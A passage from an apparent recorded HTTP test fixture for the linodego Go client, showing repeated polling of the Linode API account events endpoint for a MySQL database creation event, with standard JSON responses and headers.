no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": 